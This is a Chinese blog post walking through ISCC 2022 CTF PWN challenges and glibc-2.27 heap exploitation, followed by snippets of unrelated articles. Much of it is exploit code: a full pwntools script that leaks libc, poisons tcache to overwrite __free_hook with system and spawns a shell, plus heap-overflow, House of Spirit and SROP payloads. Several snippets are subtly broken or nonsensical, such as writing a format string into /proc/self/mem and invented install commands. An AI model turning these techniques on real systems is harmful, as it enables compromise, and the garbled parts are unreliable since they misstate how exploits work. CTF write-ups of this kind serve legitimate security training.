news 2026/7/12 2:22:49

ISCC 2022 PWN 实战:3 种堆漏洞利用(UAF、堆溢出、格式化字符串)与 Libc-2.27 利用详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ISCC 2022 PWN 实战:3 种堆漏洞利用(UAF、堆溢出、格式化字符串)与 Libc-2.27 利用详解

ISCC 2022 PWN 实战:从堆漏洞到 Libc-2.27 的完整攻防艺术

1. 堆漏洞利用的三重奏

在二进制安全领域,堆漏洞利用始终是攻防对抗的核心战场。2022年ISCC竞赛中的三道PWN题目(create_id、sim_treasure和untidy_note)完美展示了堆漏洞利用的三种典型技术路径:

1.1 UAF(Use-After-Free)漏洞精要

UAF漏洞的本质是"释放后重用",当程序错误地访问已被释放的内存时,攻击者可以通过精心构造的数据控制程序执行流。在create_id题目中,我们观察到:

struct user { char name[32]; int is_admin; }; void delete_user() { free(current_user); // 释放内存 // 缺少 current_user = NULL 的置空操作 } void edit_profile() { printf("Enter new name: "); gets(current_user->name); // UAF发生点 }

利用步骤:

  1. 分配用户对象后立即释放
  2. 通过堆风水控制释放的内存块
  3. 覆写函数指针或关键数据
  4. 触发重用的代码路径

提示:在glibc-2.27中,tcache机制会使UAF利用更为简单,因为释放的chunk不会立即合并,且重用优先级最高。

1.2 堆溢出实战技巧

sim_treasure题目展示了经典的堆溢出场景:

from pwn import * def exploit_heap_overflow(): p = process('./sim_treasure') # 1. 填充tcache for i in range(7): alloc(0x80) # 2. 触发溢出 alloc(0x28) # 小尺寸分配 payload = b'A'*0x28 + p64(0x91) # 修改下一个chunk的size edit(0, payload) # 3. 触发unlink free(1) # 现在会错误地合并伪造的0x90大小chunk

关键突破点:

  • 通过溢出修改相邻chunk的size字段
  • 构造伪造的chunk头绕过安全检查
  • 利用unlink操作实现任意地址写

1.3 格式化字符串与堆布局

untidy_note题目结合了格式化字符串漏洞和堆漏洞:

# 格式化字符串泄露关键地址 echo "%6$p" > /proc/self/mem # 堆布局技巧 for i in {1..7}; do alloc $i done free 4 free 5 # 制造tcache链

组合利用策略:

  1. 通过格式化字符串泄露canary和libc地址
  2. 使用堆操作布置特定内存布局
  3. 结合栈迁移技术绕过保护机制

2. Glibc-2.27 利用宝典

2.1 tcache 机制解析

glibc-2.27的tcache(线程本地缓存)引入了新的利用范式:

特性利用价值缓解措施
LIFO结构容易预测内存分配增加随机化
单链表简单伪造增加完整性检查
64个bins多尺寸选择限制缓存数量

典型利用代码:

# 填满tcache bin for i in range(7): malloc(0x80) # 触发unsorted bin malloc(0x500) # 大块将进入unsorted bin free(0) # 不会进入tcache(已满) # 泄露main_arena地址 show(0)

2.2 高级利用技术

2.2.1 House of Spirit
// 伪代码示例 char fake_chunk[0x80]; *(size_t*)&fake_chunk[0x78] = 0x81; // 伪造size free(fake_chunk + 0x10); // 释放伪造的chunk
2.2.2 Tcache Poisoning
# 修改tcache链指针 alloc(0x50) free(0) edit(0, p64(target_address)) alloc(0x50) # 第一次分配 alloc(0x50) # 获得目标地址控制权
2.2.3 Fastbin Reverse into Tcache
# 操作序列 for i in {1..9}; do malloc 0x70; done for i in {1..7}; do free $i; done # 填满tcache free 8 # 进入fastbin free 9 # 也进入fastbin malloc 0x500 # 清空tcache

3. 漏洞利用实战演示

3.1 create_id 完整利用

#!/usr/bin/env python3 from pwn import * context.update(arch='amd64', os='linux') elf = ELF('./create_id') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def create(size, data): p.sendlineafter('> ', '1') p.sendlineafter('Size: ', str(size)) p.sendafter('Data: ', data) def delete(): p.sendlineafter('> ', '2') def edit(data): p.sendlineafter('> ', '3') p.sendafter('Data: ', data) # 1. 泄露libc地址 create(0x500, 'A'*8) delete() create(0x500, '\x78') p.recvuntil('A'*8) libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3eb780 success(f"libc @ {hex(libc.address)}") # 2. tcache poisoning create(0x60, 'B'*8) delete() edit(p64(libc.sym['__free_hook'])) create(0x60, '/bin/sh\x00') create(0x60, p64(libc.sym['system'])) # 3. 触发shell delete() p.interactive()

3.2 sim_treasure 堆溢出利用

# 省略部分初始化代码... # 布置堆布局 for i in range(7): add_note(0x80, b'PAD') add_note(0x20, b'VICTIM') # 将被溢出的chunk # 制造堆溢出 payload = b'A'*0x28 payload += p64(0x91) # 修改size字段 payload += p64(0xdeadbeef) # 伪造fd指针 edit_note(0, payload) # 触发unlink delete_note(1) # 后续利用...

4. 防御与绕过艺术

4.1 现代防护机制

防护技术绕过方法检测特征
ASLR信息泄露/proc/sys/kernel/randomize_va_space
NXROP链ELF头中的GNU_STACK标记
RELRO延迟绑定checksec输出的Relro状态
Stack Canary信息泄露函数序言中的__stack_chk_fail

4.2 高级绕过技巧

SROP(Sigreturn Oriented Programming)示例:

frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr payload = p64(syscall_addr) + bytes(frame)

FSOP(File Stream Oriented Programming)关键步骤:

  1. 泄露_IO_list_all地址
  2. 伪造_IO_FILE结构体
  3. 触发abort()或exit()流程

5. 工具链与调试技巧

5.1 必备工具集

# 基础工具 sudo apt install gdb peda pwntools radare2 # 增强插件 git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh # 堆可视化 pip install heap-viewer

5.2 GDB 调试命令备忘

# 堆相关 heap chunks # 查看所有chunk heap bins # 查看各bins状态 vis_heap_chunks # 图形化显示堆 # 内存操作 x/20gx $rsp # 查看栈内存 search -s "/bin/sh" # 搜索内存 # 漏洞利用 watch *0xdeadbeef # 内存写入断点 catch syscall execve # 捕获execve调用

在真实漏洞利用过程中,我发现最有效的调试方法是结合静态分析与动态跟踪。例如在解决untidy_note题目时,通过以下步骤定位关键点:

  1. 使用IDA Pro识别所有堆操作函数
  2. 在malloc/free调用处设置断点
  3. 记录每个操作后的堆状态变化
  4. 对比正常执行与攻击路径的内存差异

这种系统化的分析方法往往能发现容易被忽视的漏洞触发条件。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/12 2:22:27

JMeter 5.6.3 压力测试实战:单接口 1000 并发下 TPS 与 RT 的拐点定位

JMeter 5.6.3 压力测试实战:单接口 1000 并发下 TPS 与 RT 的拐点定位在当今快速迭代的互联网产品开发中,性能瓶颈往往成为系统稳定性的隐形杀手。一次看似简单的接口调用,在高并发场景下可能引发连锁反应——从数据库连接池耗尽到服务器内存…

作者头像 李华
网站建设 2026/7/12 2:21:45

锂离子电池组电压平衡方案:MCP3202与PIC18LF4620应用

1. 项目背景与核心需求 在锂离子电池组应用中,串联电池单元的电压平衡是一个关键挑战。当多个电池串联时,由于制造差异、温度变化或老化程度不同,各单体电池的电压会出现不一致现象。这种不平衡会导致部分电池过充或过放,严重影响…

作者头像 李华
网站建设 2026/7/12 2:21:41

Ubuntu鼠标指针制作《辐射4》MOD:游戏个性化定制实战指南

你是否曾经在玩游戏时,觉得默认的鼠标指针太过普通,想要一些个性化的体验?或者作为Ubuntu用户,想要把喜欢的系统元素带到游戏中?今天我要分享的就是如何将Ubuntu的鼠标指针样式制作成《辐射4》的MOD,让你的…

作者头像 李华
网站建设 2026/7/12 2:21:33

MoE模型训练稳定性:专家初始化与损失函数设计的关键作用

为什么你的MoE模型训练总是发散?可能问题就出在初始化和loss设计这两个看似基础却至关重要的环节上。在大模型参数规模指数级增长的今天,MoE架构凭借其出色的扩展性成为训练千亿级模型的标配,但随之而来的训练不稳定性却让很多团队头疼不已。…

作者头像 李华
网站建设 2026/7/12 2:20:23

Gliding Horse v0.1.4.preview 发布:时间感知、闭环审计与智能增强

一、SA 模块拆分:让“大脑”结构更清晰 在之前的版本中,SA(Supervisor Agent)的所有逻辑集中在一个庞大的文件里。v0.1.4 把它按生命周期阶段拆分为 8 个独立模块: SA 模块拆分 (v0.1.4) types.rs 核心类型定义 planni…

作者头像 李华
网站建设 2026/7/12 2:19:54

混合背包问题 C++ 解法对比:3种状态转移方程与2种空间优化策略

混合背包问题C实战:3种状态转移方程与2种空间优化策略 1. 混合背包问题概述 混合背包问题是动态规划中的经典变种,它结合了01背包、完全背包和多重背包三种场景。在实际应用中,我们经常会遇到这样的需求:某些物品只能选一次&…

作者头像 李华